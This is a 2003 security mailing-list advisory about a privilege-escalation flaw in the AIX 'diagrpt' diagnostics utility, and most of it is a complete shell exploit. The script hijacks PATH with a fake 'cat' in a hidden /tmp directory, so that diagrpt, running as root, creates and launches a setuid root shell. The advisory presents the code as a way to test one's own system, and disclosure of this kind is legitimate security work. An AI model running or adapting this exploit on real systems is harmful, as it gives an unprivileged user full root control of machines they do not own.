[EXPL] Exploit Code Released for diagrpt Vulnerability

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To: list@securiteam.com
Date: 11 Jun 2003 18:33:41 +0200

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  Exploit Code Released for diagrpt Vulnerability
------------------------------------------------------------------------

SUMMARY

When 'diagrpt' executes, it relies on an environment variable to locate
another utility that it executes. This utility is executed by 'diagrpt' as
root. An attacker can gain root privileges by having 'diagrpt' execute a
malicious program of the same name in a directory under their control. The
following exploit code can be used to test your system for the mentioned
vulnerability.

DETAILS

Exploit:
#!/bin/sh
# FileName: x_diagrpt.sh
# Exploit diagrpt of Aix4.x & 5L to get a uid=0 shell.
# Tested : on Aix4.3.3 & Aix5.1.
# Author : watercloud@xfocus.org
# Site : www.xfocus.org www.xfocus.net
# Date : 2003-5-23
# Announce: use as your owner risk!
#
# Note :
# It does not work on all versions of tsm command.
# Use this command to test if your version can exploit or not :
# bash$ strings /usr/lpp/diagnostics/bin/diagrpt |grep cat
# diagrpt.cat
# cat %s <--- here ! have the bug !!! can exploit!
#

O_DIR=`/bin/pwd`
cd /tmp ; mkdir .ex$$ ; cd .ex$$
PATH=/tmp/.ex$$:$PATH ; export PATH
/bin/cat >cat<<EOF
#!/bin/ksh -p
cp /bin/ksh ./kfsh
chown root ./kfsh
chmod 777 ./kfsh
chmod u+s ./kfsh
EOF
chmod a+x cat

DIAGDATADIR=/tmp/.ex$$ ; export DIAGDATADIR
touch /tmp/.ex$$/diagrpt1.dat

/usr/lpp/diagnostics/bin/diagrpt -o 010101
stty echo
stty intr '^C' erase '^H' eof '^D' eol '^@'

if [ -e ./kfsh ] ;then
  echo ""
  echo "===================="
  pwd
  ls -l ./kfsh
  echo "Exploit ok ! Use this command to get a uid=0 shell :"
  echo '/usr/bin/syscall setreuid 0 0 \; execve "/bin/sh" '
  ./kfsh
else
  echo ""
  echo "Exploit false !!!!"
fi

cd /tmp ; /bin/rm -Rf /tmp/.ex$$ ;cd $O_DIR
#EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:watercloud@xfocus.org>
watercloud.

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